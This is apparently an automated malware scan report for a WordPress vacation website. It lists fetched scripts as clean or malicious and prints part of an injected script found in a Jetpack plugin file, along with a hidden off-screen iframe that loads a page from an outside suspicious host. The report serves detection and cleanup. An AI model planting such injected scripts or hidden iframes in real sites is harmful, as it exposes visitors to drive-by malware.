252526ds%2525253d0%252526ds%25253d0%2526ds%253d0%26ds%3D0&s=default&ds=0
Server: Apache/2.2.29 (FreeBSD) mod_jk/1.2.40 mod_ssl/2.2.29 OpenSSL/0.9.8y
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html;charset=UTF-8
Expires: 0
P3P: CP="ADM OUR IND COM"
Set-Cookie: p=01.C04B08DF131FDC47019FC39141276EDC1C056851CB52813E4FC29A50E5493935AF6ABD5B34650C07E0092FA04F79FABCD35E92D0; Domain=.clickbank.net; Expires=Sat, 25-Jul-2015 23:11:44 GMT; Path=/
Set-Cookie: q=01.AD9A8A0760CB0A23A5D85613EF97B5BB1A7C29E1BDA4862BB4A9466DB850E461CF202CD7D2793F5F066A98E4AB18FAFB661B13DF; Domain=.clickbank.net; Expires=Sat, 25-Jan-2020 23:11:44 GMT; Path=/
clean
http://s0.wp.com/wp-content/js/devicepx-jetpack.js?ver=201505
200 OK
Content-Length: 9301
Content-Type: application/x-javascript
clean
http://s.gravatar.com/js/gprofiles.js?ver=2015Janaa
200 OK
Content-Length: 21442
Content-Type: application/x-javascript
clean
http://luxury-vacations-for-less.com/wp-content/plugins/jetpack/modules/wpgroho.js?ver=3.5.1
200 OK
Content-Length: 1904
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo
... 898 bytes are skipped ...
ction( WPGroHo.renderers[key] ) ) {
return WPGroHo.renderers[key]( data[key], hash, id, key );
}
jQuery( '#' + id ).find( 'h4' ).after( jQuery( '<p class="grav-extra ' + key + '" />' ).html( data[key] ) );
}
}
}, WPGroHo );
jQuery( document ).ready( function( $ ) {
Gravatar.profile_cb = function( h, d ) {
WPGroHo.syncProfileData( h, d );
};
Gravatar.my_hash = WPGroHo.my_hash;
Gravatar.init( 'body', '#wpadminbar' );
} );

Antivirus reports:

Microsoft
Trojan:JS/IframeRef.J

Malicious iFrame found.
size: 110x130     
src: http://tudocombinado.ml/hatsukito17.html
This URL is marked by Google as suspicious

<iframe width="110" height="130" style="position:absolute;margin-top:-1001px;" src="http://tudocombinado.ml/hatsukito17.html">

http://stats.wordpress.com/e-201505.js
200 OK
Content-Length: 2598
Content-Type: application/x-javascript
clean
http://luxury-vacations-for-less.com/wp-content/themes/skadoogle/javascript/skaLinkSense.js
200 OK
Content-Length: 4935
Content-Type: application/javascript
malicious
Malicious iFrame found.
size: 110x130     
src: http://tudocombinado.ml/hatsukito17.html
This URL is marked by Google as suspicious

<iframe width="110" height="130" style="position:absolute;margin-top:-1001px;" src="http://tudocombinado.ml/hatsukito17.html">

http://ocmnet.com/share/skads.src.js
200 OK
Content-Length: 10072
Content-Type: application/javascript
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: luxury-vacations-for-less.com

Result:
HTTP/1.1 200 OK
Connection: close
Date: Mon, 26 Jan 2015 23:11:27 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Link: <http://wp.me/2EvlA>; rel=shortlink
X-Pingback: http://luxury-vacations-for-less.com/xmlrpc.php
Second query (visit from search engine):
GET / HTTP/1.1
Host: luxury-vacations-for-less.com
Referer: http://www.google.com/search?q=luxury-vacations-for-less.com

Result:
The result is similar to the first query. There are no suspicious redirects found.